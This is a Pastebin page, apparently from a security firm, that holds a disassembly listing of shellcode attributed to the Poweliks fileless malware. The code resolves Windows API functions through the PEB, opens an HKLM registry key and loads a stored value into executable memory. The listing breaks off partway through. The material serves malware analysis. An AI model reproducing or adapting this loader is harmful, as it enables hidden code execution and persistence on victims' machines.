daily pastebin goal
76%
SHARE
TWEET

ReaQta - Poweliks shellcode

a guest Sep 16th, 2015 377 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                            .data:00000000 55                               push   ebp
  2.                            .data:00000001 8b ec                            mov    ebp,esp
  3.                            .data:00000003 81 c4 00 fa ff ff                add    esp,0xfffffa00
  4.                            .data:00000009 53                               push   ebx
  5.                            .data:0000000a 56                               push   esi
  6.                            .data:0000000b 57                               push   edi
  7.                            .data:0000000c 53                               push   ebx
  8.                            .data:0000000d 56                               push   esi
  9.                            .data:0000000e 57                               push   edi
  10.                            .data:0000000f fc                               cld    
  11.                            .data:00000010 31 d2                            xor    edx,edx
  12.                            .data:00000012 64 8b 52 30                      mov    edx,DWORD PTR fs:[edx+0x30]
  13.                            .data:00000016 8b 52 0c                         mov    edx,DWORD PTR [edx+0xc]
  14.                            .data:00000019 8b 52 14                         mov    edx,DWORD PTR [edx+0x14]
  15.                            .data:0000001c 8b 72 28                         mov    esi,DWORD PTR [edx+0x28]
  16.                            .data:0000001f 6a 18                            push   0x18
  17.                            .data:00000021 59                               pop    ecx
  18.                            .data:00000022 31 ff                            xor    edi,edi
  19.                            .data:00000024 31 c0                            xor    eax,eax
  20.                            .data:00000026 ac                               lods   al,BYTE PTR ds:[esi]
  21.                            .data:00000027 3c 61                            cmp    al,0x61
  22.                            .data:00000029 7c 02                            jl     0x0000002d
  23.                            .data:0000002b 2c 20                            sub    al,0x20
  24.                            .data:0000002d c1 cf 0d                         ror    edi,0xd
  25.                            .data:00000030 01 c7                            add    edi,eax
  26.                            .data:00000032 e2 f0                            loop   0x00000024
  27.                            .data:00000034 81 ff 5b bc 4a 6a                cmp    edi,0x6a4abc5b
  28.                            .data:0000003a 8b 5a 10                         mov    ebx,DWORD PTR [edx+0x10]
  29.                            .data:0000003d 8b 12                            mov    edx,DWORD PTR [edx]
  30.                            .data:0000003f 75 db                            jne    0x0000001c
  31.                            .data:00000041 89 5d fc                         mov    DWORD PTR [ebp-0x4],ebx
  32.                            .data:00000044 5f                               pop    edi
  33.                            .data:00000045 5e                               pop    esi
  34.                            .data:00000046 5b                               pop    ebx
  35.                            .data:00000047 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  36.                            .data:0000004a 89 45 d4                         mov    DWORD PTR [ebp-0x2c],eax
  37.                            .data:0000004d 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  38.                            .data:00000050 66 81 38 4d 5a                   cmp    WORD PTR [eax],0x5a4d
  39.                            .data:00000055 0f 85 0f 02 00 00                jne    0x0000026a
  40.                            .data:0000005b 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  41.                            .data:0000005e 33 d2                            xor    edx,edx
  42.                            .data:00000060 52                               push   edx
  43.                            .data:00000061 50                               push   eax
  44.                            .data:00000062 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  45.                            .data:00000065 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  46.                            .data:00000068 99                               cdq    
  47.                            .data:00000069 03 04 24                         add    eax,DWORD PTR [esp]
  48.                            .data:0000006c 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  49.                            .data:00000070 83 c4 08                         add    esp,0x8
  50.                            .data:00000073 89 45 d0                         mov    DWORD PTR [ebp-0x30],eax
  51.                            .data:00000076 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  52.                            .data:00000079 81 38 50 45 00 00                cmp    DWORD PTR [eax],0x4550
  53.                            .data:0000007f 0f 85 e5 01 00 00                jne    0x0000026a
  54.                            .data:00000085 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  55.                            .data:00000088 8b 40 78                         mov    eax,DWORD PTR [eax+0x78]
  56.                            .data:0000008b 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  57.                            .data:0000008e 89 45 cc                         mov    DWORD PTR [ebp-0x34],eax
  58.                            .data:00000091 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  59.                            .data:00000094 8b 40 18                         mov    eax,DWORD PTR [eax+0x18]
  60.                            .data:00000097 85 c0                            test   eax,eax
  61.                            .data:00000099 0f 8c cb 01 00 00                jl     0x0000026a
  62.                            .data:0000009f 40                               inc    eax
  63.                            .data:000000a0 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  64.                            .data:000000a6 33 f6                            xor    esi,esi
  65.                            .data:000000a8 8b 45 fc                         mov    eax,DWORD PTR [ebp-0x4]
  66.                            .data:000000ab 33 d2                            xor    edx,edx
  67.                            .data:000000ad 52                               push   edx
  68.                            .data:000000ae 50                               push   eax
  69.                            .data:000000af 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  70.                            .data:000000b2 8b 40 20                         mov    eax,DWORD PTR [eax+0x20]
  71.                            .data:000000b5 33 d2                            xor    edx,edx
  72.                            .data:000000b7 52                               push   edx
  73.                            .data:000000b8 50                               push   eax
  74.                            .data:000000b9 8b c6                            mov    eax,esi
  75.                            .data:000000bb c1 e0 02                         shl    eax,0x2
  76.                            .data:000000be 99                               cdq    
  77.                            .data:000000bf 03 04 24                         add    eax,DWORD PTR [esp]
  78.                            .data:000000c2 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  79.                            .data:000000c6 83 c4 08                         add    esp,0x8
  80.                            .data:000000c9 03 04 24                         add    eax,DWORD PTR [esp]
  81.                            .data:000000cc 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  82.                            .data:000000d0 83 c4 08                         add    esp,0x8
  83.                            .data:000000d3 8b 08                            mov    ecx,DWORD PTR [eax]
  84.                            .data:000000d5 03 4d fc                         add    ecx,DWORD PTR [ebp-0x4]
  85.                            .data:000000d8 81 39 4c 6f 61 64                cmp    DWORD PTR [ecx],0x64616f4c
  86.                            .data:000000de 75 56                            jne    0x00000136
  87.                            .data:000000e0 8d 41 04                         lea    eax,[ecx+0x4]
  88.                            .data:000000e3 81 38 4c 69 62 72                cmp    DWORD PTR [eax],0x7262694c
  89.                            .data:000000e9 75 4b                            jne    0x00000136
  90.                            .data:000000eb 8d 41 08                         lea    eax,[ecx+0x8]
  91.                            .data:000000ee 81 38 61 72 79 41                cmp    DWORD PTR [eax],0x41797261
  92.                            .data:000000f4 75 40                            jne    0x00000136
  93.                            .data:000000f6 8d 41 0c                         lea    eax,[ecx+0xc]
  94.                            .data:000000f9 80 38 00                         cmp    BYTE PTR [eax],0x0
  95.                            .data:000000fc 75 38                            jne    0x00000136
  96.                            .data:000000fe 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  97.                            .data:00000101 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  98.                            .data:00000104 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  99.                            .data:00000107 33 d2                            xor    edx,edx
  100.                            .data:00000109 52                               push   edx
  101.                            .data:0000010a 50                               push   eax
  102.                            .data:0000010b 8b c6                            mov    eax,esi
  103.                            .data:0000010d 03 c0                            add    eax,eax
  104.                            .data:0000010f 99                               cdq    
  105.                            .data:00000110 03 04 24                         add    eax,DWORD PTR [esp]
  106.                            .data:00000113 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  107.                            .data:00000117 83 c4 08                         add    esp,0x8
  108.                            .data:0000011a 66 8b 00                         mov    ax,WORD PTR [eax]
  109.                            .data:0000011d 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  110.                            .data:00000120 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  111.                            .data:00000123 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  112.                            .data:00000126 0f b7 c0                         movzx  eax,ax
  113.                            .data:00000129 c1 e0 02                         shl    eax,0x2
  114.                            .data:0000012c 03 d0                            add    edx,eax
  115.                            .data:0000012e 8b 02                            mov    eax,DWORD PTR [edx]
  116.                            .data:00000130 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  117.                            .data:00000133 89 45 bc                         mov    DWORD PTR [ebp-0x44],eax
  118.                            .data:00000136 81 39 47 65 74 50                cmp    DWORD PTR [ecx],0x50746547
  119.                            .data:0000013c 75 56                            jne    0x00000194
  120.                            .data:0000013e 8d 41 04                         lea    eax,[ecx+0x4]
  121.                            .data:00000141 81 38 72 6f 63 41                cmp    DWORD PTR [eax],0x41636f72
  122.                            .data:00000147 75 4b                            jne    0x00000194
  123.                            .data:00000149 8d 41 08                         lea    eax,[ecx+0x8]
  124.                            .data:0000014c 81 38 64 64 72 65                cmp    DWORD PTR [eax],0x65726464
  125.                            .data:00000152 75 40                            jne    0x00000194
  126.                            .data:00000154 8d 41 0e                         lea    eax,[ecx+0xe]
  127.                            .data:00000157 80 38 00                         cmp    BYTE PTR [eax],0x0
  128.                            .data:0000015a 75 38                            jne    0x00000194
  129.                            .data:0000015c 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  130.                            .data:0000015f 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  131.                            .data:00000162 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  132.                            .data:00000165 33 d2                            xor    edx,edx
  133.                            .data:00000167 52                               push   edx
  134.                            .data:00000168 50                               push   eax
  135.                            .data:00000169 8b c6                            mov    eax,esi
  136.                            .data:0000016b 03 c0                            add    eax,eax
  137.                            .data:0000016d 99                               cdq    
  138.                            .data:0000016e 03 04 24                         add    eax,DWORD PTR [esp]
  139.                            .data:00000171 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  140.                            .data:00000175 83 c4 08                         add    esp,0x8
  141.                            .data:00000178 66 8b 00                         mov    ax,WORD PTR [eax]
  142.                            .data:0000017b 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  143.                            .data:0000017e 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  144.                            .data:00000181 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  145.                            .data:00000184 0f b7 c0                         movzx  eax,ax
  146.                            .data:00000187 c1 e0 02                         shl    eax,0x2
  147.                            .data:0000018a 03 d0                            add    edx,eax
  148.                            .data:0000018c 8b 02                            mov    eax,DWORD PTR [edx]
  149.                            .data:0000018e 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  150.                            .data:00000191 89 45 b8                         mov    DWORD PTR [ebp-0x48],eax
  151.                            .data:00000194 81 39 56 69 72 74                cmp    DWORD PTR [ecx],0x74726956
  152.                            .data:0000019a 75 56                            jne    0x000001f2
  153.                            .data:0000019c 8d 41 04                         lea    eax,[ecx+0x4]
  154.                            .data:0000019f 81 38 75 61 6c 41                cmp    DWORD PTR [eax],0x416c6175
  155.                            .data:000001a5 75 4b                            jne    0x000001f2
  156.                            .data:000001a7 8d 41 08                         lea    eax,[ecx+0x8]
  157.                            .data:000001aa 81 38 6c 6c 6f 63                cmp    DWORD PTR [eax],0x636f6c6c
  158.                            .data:000001b0 75 40                            jne    0x000001f2
  159.                            .data:000001b2 8d 41 0c                         lea    eax,[ecx+0xc]
  160.                            .data:000001b5 80 38 00                         cmp    BYTE PTR [eax],0x0
  161.                            .data:000001b8 75 38                            jne    0x000001f2
  162.                            .data:000001ba 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  163.                            .data:000001bd 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  164.                            .data:000001c0 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  165.                            .data:000001c3 33 d2                            xor    edx,edx
  166.                            .data:000001c5 52                               push   edx
  167.                            .data:000001c6 50                               push   eax
  168.                            .data:000001c7 8b c6                            mov    eax,esi
  169.                            .data:000001c9 03 c0                            add    eax,eax
  170.                            .data:000001cb 99                               cdq    
  171.                            .data:000001cc 03 04 24                         add    eax,DWORD PTR [esp]
  172.                            .data:000001cf 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  173.                            .data:000001d3 83 c4 08                         add    esp,0x8
  174.                            .data:000001d6 66 8b 00                         mov    ax,WORD PTR [eax]
  175.                            .data:000001d9 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  176.                            .data:000001dc 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  177.                            .data:000001df 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  178.                            .data:000001e2 0f b7 c0                         movzx  eax,ax
  179.                            .data:000001e5 c1 e0 02                         shl    eax,0x2
  180.                            .data:000001e8 03 d0                            add    edx,eax
  181.                            .data:000001ea 8b 02                            mov    eax,DWORD PTR [edx]
  182.                            .data:000001ec 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  183.                            .data:000001ef 89 45 a8                         mov    DWORD PTR [ebp-0x58],eax
  184.                            .data:000001f2 81 39 45 78 69 74                cmp    DWORD PTR [ecx],0x74697845
  185.                            .data:000001f8 75 63                            jne    0x0000025d
  186.                            .data:000001fa 8d 41 04                         lea    eax,[ecx+0x4]
  187.                            .data:000001fd 81 38 50 72 6f 63                cmp    DWORD PTR [eax],0x636f7250
  188.                            .data:00000203 75 58                            jne    0x0000025d
  189.                            .data:00000205 8d 41 08                         lea    eax,[ecx+0x8]
  190.                            .data:00000208 80 38 65                         cmp    BYTE PTR [eax],0x65
  191.                            .data:0000020b 75 50                            jne    0x0000025d
  192.                            .data:0000020d 8d 41 09                         lea    eax,[ecx+0x9]
  193.                            .data:00000210 80 38 73                         cmp    BYTE PTR [eax],0x73
  194.                            .data:00000213 75 48                            jne    0x0000025d
  195.                            .data:00000215 8d 41 0a                         lea    eax,[ecx+0xa]
  196.                            .data:00000218 80 38 73                         cmp    BYTE PTR [eax],0x73
  197.                            .data:0000021b 75 40                            jne    0x0000025d
  198.                            .data:0000021d 83 c1 0b                         add    ecx,0xb
  199.                            .data:00000220 80 39 00                         cmp    BYTE PTR [ecx],0x0
  200.                            .data:00000223 75 38                            jne    0x0000025d
  201.                            .data:00000225 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  202.                            .data:00000228 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  203.                            .data:0000022b 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  204.                            .data:0000022e 33 d2                            xor    edx,edx
  205.                            .data:00000230 52                               push   edx
  206.                            .data:00000231 50                               push   eax
  207.                            .data:00000232 8b c6                            mov    eax,esi
  208.                            .data:00000234 03 c0                            add    eax,eax
  209.                            .data:00000236 99                               cdq    
  210.                            .data:00000237 03 04 24                         add    eax,DWORD PTR [esp]
  211.                            .data:0000023a 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  212.                            .data:0000023e 83 c4 08                         add    esp,0x8
  213.                            .data:00000241 66 8b 00                         mov    ax,WORD PTR [eax]
  214.                            .data:00000244 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  215.                            .data:00000247 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  216.                            .data:0000024a 03 55 fc                         add    edx,DWORD PTR [ebp-0x4]
  217.                            .data:0000024d 0f b7 c0                         movzx  eax,ax
  218.                            .data:00000250 c1 e0 02                         shl    eax,0x2
  219.                            .data:00000253 03 d0                            add    edx,eax
  220.                            .data:00000255 8b 02                            mov    eax,DWORD PTR [edx]
  221.                            .data:00000257 03 45 fc                         add    eax,DWORD PTR [ebp-0x4]
  222.                            .data:0000025a 89 45 a4                         mov    DWORD PTR [ebp-0x5c],eax
  223.                            .data:0000025d 46                               inc    esi
  224.                            .data:0000025e ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  225.                            .data:00000264 0f 85 3e fe ff ff                jne    0x000000a8
  226.                            .data:0000026a c6 85 2f ff ff ff 61             mov    BYTE PTR [ebp-0xd1],0x61
  227.                            .data:00000271 c6 85 30 ff ff ff 64             mov    BYTE PTR [ebp-0xd0],0x64
  228.                            .data:00000278 c6 85 31 ff ff ff 76             mov    BYTE PTR [ebp-0xcf],0x76
  229.                            .data:0000027f c6 85 32 ff ff ff 61             mov    BYTE PTR [ebp-0xce],0x61
  230.                            .data:00000286 c6 85 33 ff ff ff 70             mov    BYTE PTR [ebp-0xcd],0x70
  231.                            .data:0000028d c6 85 34 ff ff ff 69             mov    BYTE PTR [ebp-0xcc],0x69
  232.                            .data:00000294 c6 85 35 ff ff ff 33             mov    BYTE PTR [ebp-0xcb],0x33
  233.                            .data:0000029b c6 85 36 ff ff ff 32             mov    BYTE PTR [ebp-0xca],0x32
  234.                            .data:000002a2 c6 85 37 ff ff ff 2e             mov    BYTE PTR [ebp-0xc9],0x2e
  235.                            .data:000002a9 c6 85 38 ff ff ff 64             mov    BYTE PTR [ebp-0xc8],0x64
  236.                            .data:000002b0 c6 85 39 ff ff ff 6c             mov    BYTE PTR [ebp-0xc7],0x6c
  237.                            .data:000002b7 c6 85 3a ff ff ff 6c             mov    BYTE PTR [ebp-0xc6],0x6c
  238.                            .data:000002be c6 85 3b ff ff ff 00             mov    BYTE PTR [ebp-0xc5],0x0
  239.                            .data:000002c5 8d 85 2f ff ff ff                lea    eax,[ebp-0xd1]
  240.                            .data:000002cb 50                               push   eax
  241.                            .data:000002cc ff 55 bc                         call   DWORD PTR [ebp-0x44]
  242.                            .data:000002cf 8b d8                            mov    ebx,eax
  243.                            .data:000002d1 85 db                            test   ebx,ebx
  244.                            .data:000002d3 75 05                            jne    0x000002da
  245.                            .data:000002d5 6a 00                            push   0x0
  246.                            .data:000002d7 ff 55 a4                         call   DWORD PTR [ebp-0x5c]
  247.                            .data:000002da 89 5d d4                         mov    DWORD PTR [ebp-0x2c],ebx
  248.                            .data:000002dd 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  249.                            .data:000002e0 66 81 38 4d 5a                   cmp    WORD PTR [eax],0x5a4d
  250.                            .data:000002e5 0f 85 4f 01 00 00                jne    0x0000043a
  251.                            .data:000002eb 8b c3                            mov    eax,ebx
  252.                            .data:000002ed 33 d2                            xor    edx,edx
  253.                            .data:000002ef 52                               push   edx
  254.                            .data:000002f0 50                               push   eax
  255.                            .data:000002f1 8b 45 d4                         mov    eax,DWORD PTR [ebp-0x2c]
  256.                            .data:000002f4 8b 40 3c                         mov    eax,DWORD PTR [eax+0x3c]
  257.                            .data:000002f7 99                               cdq    
  258.                            .data:000002f8 03 04 24                         add    eax,DWORD PTR [esp]
  259.                            .data:000002fb 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  260.                            .data:000002ff 83 c4 08                         add    esp,0x8
  261.                            .data:00000302 89 45 d0                         mov    DWORD PTR [ebp-0x30],eax
  262.                            .data:00000305 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  263.                            .data:00000308 81 38 50 45 00 00                cmp    DWORD PTR [eax],0x4550
  264.                            .data:0000030e 0f 85 26 01 00 00                jne    0x0000043a
  265.                            .data:00000314 8b 45 d0                         mov    eax,DWORD PTR [ebp-0x30]
  266.                            .data:00000317 8b 40 78                         mov    eax,DWORD PTR [eax+0x78]
  267.                            .data:0000031a 03 c3                            add    eax,ebx
  268.                            .data:0000031c 89 45 cc                         mov    DWORD PTR [ebp-0x34],eax
  269.                            .data:0000031f 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  270.                            .data:00000322 8b 40 18                         mov    eax,DWORD PTR [eax+0x18]
  271.                            .data:00000325 85 c0                            test   eax,eax
  272.                            .data:00000327 0f 8c 0d 01 00 00                jl     0x0000043a
  273.                            .data:0000032d 40                               inc    eax
  274.                            .data:0000032e 89 85 3c ff ff ff                mov    DWORD PTR [ebp-0xc4],eax
  275.                            .data:00000334 33 f6                            xor    esi,esi
  276.                            .data:00000336 8b c3                            mov    eax,ebx
  277.                            .data:00000338 33 d2                            xor    edx,edx
  278.                            .data:0000033a 52                               push   edx
  279.                            .data:0000033b 50                               push   eax
  280.                            .data:0000033c 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  281.                            .data:0000033f 8b 40 20                         mov    eax,DWORD PTR [eax+0x20]
  282.                            .data:00000342 33 d2                            xor    edx,edx
  283.                            .data:00000344 52                               push   edx
  284.                            .data:00000345 50                               push   eax
  285.                            .data:00000346 8b c6                            mov    eax,esi
  286.                            .data:00000348 c1 e0 02                         shl    eax,0x2
  287.                            .data:0000034b 99                               cdq    
  288.                            .data:0000034c 03 04 24                         add    eax,DWORD PTR [esp]
  289.                            .data:0000034f 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  290.                            .data:00000353 83 c4 08                         add    esp,0x8
  291.                            .data:00000356 03 04 24                         add    eax,DWORD PTR [esp]
  292.                            .data:00000359 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  293.                            .data:0000035d 83 c4 08                         add    esp,0x8
  294.                            .data:00000360 8b 08                            mov    ecx,DWORD PTR [eax]
  295.                            .data:00000362 03 cb                            add    ecx,ebx
  296.                            .data:00000364 81 39 52 65 67 4f                cmp    DWORD PTR [ecx],0x4f676552
  297.                            .data:0000036a 75 5b                            jne    0x000003c7
  298.                            .data:0000036c 8d 41 04                         lea    eax,[ecx+0x4]
  299.                            .data:0000036f 81 38 70 65 6e 4b                cmp    DWORD PTR [eax],0x4b6e6570
  300.                            .data:00000375 75 50                            jne    0x000003c7
  301.                            .data:00000377 8d 41 08                         lea    eax,[ecx+0x8]
  302.                            .data:0000037a 81 38 65 79 45 78                cmp    DWORD PTR [eax],0x78457965
  303.                            .data:00000380 75 45                            jne    0x000003c7
  304.                            .data:00000382 8d 41 0c                         lea    eax,[ecx+0xc]
  305.                            .data:00000385 80 38 41                         cmp    BYTE PTR [eax],0x41
  306.                            .data:00000388 75 3d                            jne    0x000003c7
  307.                            .data:0000038a 8d 41 0d                         lea    eax,[ecx+0xd]
  308.                            .data:0000038d 80 38 00                         cmp    BYTE PTR [eax],0x0
  309.                            .data:00000390 75 35                            jne    0x000003c7
  310.                            .data:00000392 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  311.                            .data:00000395 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  312.                            .data:00000398 03 c3                            add    eax,ebx
  313.                            .data:0000039a 33 d2                            xor    edx,edx
  314.                            .data:0000039c 52                               push   edx
  315.                            .data:0000039d 50                               push   eax
  316.                            .data:0000039e 8b c6                            mov    eax,esi
  317.                            .data:000003a0 03 c0                            add    eax,eax
  318.                            .data:000003a2 99                               cdq    
  319.                            .data:000003a3 03 04 24                         add    eax,DWORD PTR [esp]
  320.                            .data:000003a6 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  321.                            .data:000003aa 83 c4 08                         add    esp,0x8
  322.                            .data:000003ad 66 8b 00                         mov    ax,WORD PTR [eax]
  323.                            .data:000003b0 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  324.                            .data:000003b3 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  325.                            .data:000003b6 03 d3                            add    edx,ebx
  326.                            .data:000003b8 0f b7 c0                         movzx  eax,ax
  327.                            .data:000003bb c1 e0 02                         shl    eax,0x2
  328.                            .data:000003be 03 d0                            add    edx,eax
  329.                            .data:000003c0 8b 02                            mov    eax,DWORD PTR [edx]
  330.                            .data:000003c2 03 c3                            add    eax,ebx
  331.                            .data:000003c4 89 45 b0                         mov    DWORD PTR [ebp-0x50],eax
  332.                            .data:000003c7 81 39 52 65 67 51                cmp    DWORD PTR [ecx],0x51676552
  333.                            .data:000003cd 75 5e                            jne    0x0000042d
  334.                            .data:000003cf 8d 41 04                         lea    eax,[ecx+0x4]
  335.                            .data:000003d2 81 38 75 65 72 79                cmp    DWORD PTR [eax],0x79726575
  336.                            .data:000003d8 75 53                            jne    0x0000042d
  337.                            .data:000003da 8d 41 08                         lea    eax,[ecx+0x8]
  338.                            .data:000003dd 81 38 56 61 6c 75                cmp    DWORD PTR [eax],0x756c6156
  339.                            .data:000003e3 75 48                            jne    0x0000042d
  340.                            .data:000003e5 8d 41 0c                         lea    eax,[ecx+0xc]
  341.                            .data:000003e8 81 38 65 45 78 41                cmp    DWORD PTR [eax],0x41784565
  342.                            .data:000003ee 75 3d                            jne    0x0000042d
  343.                            .data:000003f0 83 c1 10                         add    ecx,0x10
  344.                            .data:000003f3 80 39 00                         cmp    BYTE PTR [ecx],0x0
  345.                            .data:000003f6 75 35                            jne    0x0000042d
  346.                            .data:000003f8 8b 45 cc                         mov    eax,DWORD PTR [ebp-0x34]
  347.                            .data:000003fb 8b 40 24                         mov    eax,DWORD PTR [eax+0x24]
  348.                            .data:000003fe 03 c3                            add    eax,ebx
  349.                            .data:00000400 33 d2                            xor    edx,edx
  350.                            .data:00000402 52                               push   edx
  351.                            .data:00000403 50                               push   eax
  352.                            .data:00000404 8b c6                            mov    eax,esi
  353.                            .data:00000406 03 c0                            add    eax,eax
  354.                            .data:00000408 99                               cdq    
  355.                            .data:00000409 03 04 24                         add    eax,DWORD PTR [esp]
  356.                            .data:0000040c 13 54 24 04                      adc    edx,DWORD PTR [esp+0x4]
  357.                            .data:00000410 83 c4 08                         add    esp,0x8
  358.                            .data:00000413 66 8b 00                         mov    ax,WORD PTR [eax]
  359.                            .data:00000416 8b 55 cc                         mov    edx,DWORD PTR [ebp-0x34]
  360.                            .data:00000419 8b 52 1c                         mov    edx,DWORD PTR [edx+0x1c]
  361.                            .data:0000041c 03 d3                            add    edx,ebx
  362.                            .data:0000041e 0f b7 c0                         movzx  eax,ax
  363.                            .data:00000421 c1 e0 02                         shl    eax,0x2
  364.                            .data:00000424 03 d0                            add    edx,eax
  365.                            .data:00000426 8b 02                            mov    eax,DWORD PTR [edx]
  366.                            .data:00000428 03 c3                            add    eax,ebx
  367.                            .data:0000042a 89 45 ac                         mov    DWORD PTR [ebp-0x54],eax
  368.                            .data:0000042d 46                               inc    esi
  369.                            .data:0000042e ff 8d 3c ff ff ff                dec    DWORD PTR [ebp-0xc4]
  370.                            .data:00000434 0f 85 fc fe ff ff                jne    0x00000336
  371.                            .data:0000043a 8b 45 08                         mov    eax,DWORD PTR [ebp+0x8]
  372.                            .data:0000043d 05 48 0a 00 00                   add    eax,0xa48
  373.                            .data:00000442 89 85 7c ff ff ff                mov    DWORD PTR [ebp-0x84],eax
  374.                            .data:00000448 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  375.                            .data:0000044e 05 e4 00 00 00                   add    eax,0xe4
  376.                            .data:00000453 89 85 78 ff ff ff                mov    DWORD PTR [ebp-0x88],eax
  377.                            .data:00000459 33 db                            xor    ebx,ebx
  378.                            .data:0000045b 33 c0                            xor    eax,eax
  379.                            .data:0000045d 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  380.                            .data:00000463 33 c0                            xor    eax,eax
  381.                            .data:00000465 89 85 60 ff ff ff                mov    DWORD PTR [ebp-0xa0],eax
  382.                            .data:0000046b 8d 85 70 ff ff ff                lea    eax,[ebp-0x90]
  383.                            .data:00000471 50                               push   eax
  384.                            .data:00000472 6a 01                            push   0x1
  385.                            .data:00000474 6a 00                            push   0x0
  386.                            .data:00000476 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  387.                            .data:0000047c 50                               push   eax
  388.                            .data:0000047d 68 02 00 00 80                   push   0x80000002
  389.                            .data:00000482 ff 55 b0                         call   DWORD PTR [ebp-0x50]
  390.                            .data:00000485 85 c0                            test   eax,eax
  391.                            .data:00000487 0f 85 86 00 00 00                jne    0x00000513
  392.                            .data:0000048d 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  393.                            .data:00000493 50                               push   eax
  394.                            .data:00000494 6a 00                            push   0x0
  395.                            .data:00000496 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  396.                            .data:0000049c 50                               push   eax
  397.                            .data:0000049d 6a 00                            push   0x0
  398.                            .data:0000049f 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  399.                            .data:000004a5 83 c0 41                         add    eax,0x41
  400.                            .data:000004a8 50                               push   eax
  401.                            .data:000004a9 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
  402.                            .data:000004af 50                               push   eax
  403.                            .data:000004b0 ff 55 ac                         call   DWORD PTR [ebp-0x54]
  404.                            .data:000004b3 85 c0                            test   eax,eax
  405.                            .data:000004b5 75 5c                            jne    0x00000513
  406.                            .data:000004b7 83 bd 60 ff ff ff 64             cmp    DWORD PTR [ebp-0xa0],0x64
  407.                            .data:000004be 76 53                            jbe    0x00000513
  408.                            .data:000004c0 6a 40                            push   0x40
  409.                            .data:000004c2 68 00 30 00 00                   push   0x3000
  410.                            .data:000004c7 8b 85 60 ff ff ff                mov    eax,DWORD PTR [ebp-0xa0]
  411.                            .data:000004cd 50                               push   eax
  412.                            .data:000004ce 6a 00                            push   0x0
  413.                            .data:000004d0 ff 55 a8                         call   DWORD PTR [ebp-0x58]
  414.                            .data:000004d3 89 85 64 ff ff ff                mov    DWORD PTR [ebp-0x9c],eax
  415.                            .data:000004d9 83 bd 64 ff ff ff 00             cmp    DWORD PTR [ebp-0x9c],0x0
  416.                            .data:000004e0 74 31                            je     0x00000513
  417.                            .data:000004e2 8d 85 60 ff ff ff                lea    eax,[ebp-0xa0]
  418.                            .data:000004e8 50                               push   eax
  419.                            .data:000004e9 8b 85 64 ff ff ff                mov    eax,DWORD PTR [ebp-0x9c]
  420.                            .data:000004ef 50                               push   eax
  421.                            .data:000004f0 8d 85 6c ff ff ff                lea    eax,[ebp-0x94]
  422.                            .data:000004f6 50                               push   eax
  423.                            .data:000004f7 6a 00                            push   0x0
  424.                            .data:000004f9 8b 85 7c ff ff ff                mov    eax,DWORD PTR [ebp-0x84]
  425.                            .data:000004ff 83 c0 41                         add    eax,0x41
  426.                            .data:00000502 50                               push   eax
  427.                            .data:00000503 8b 85 70 ff ff ff                mov    eax,DWORD PTR [ebp-0x90]
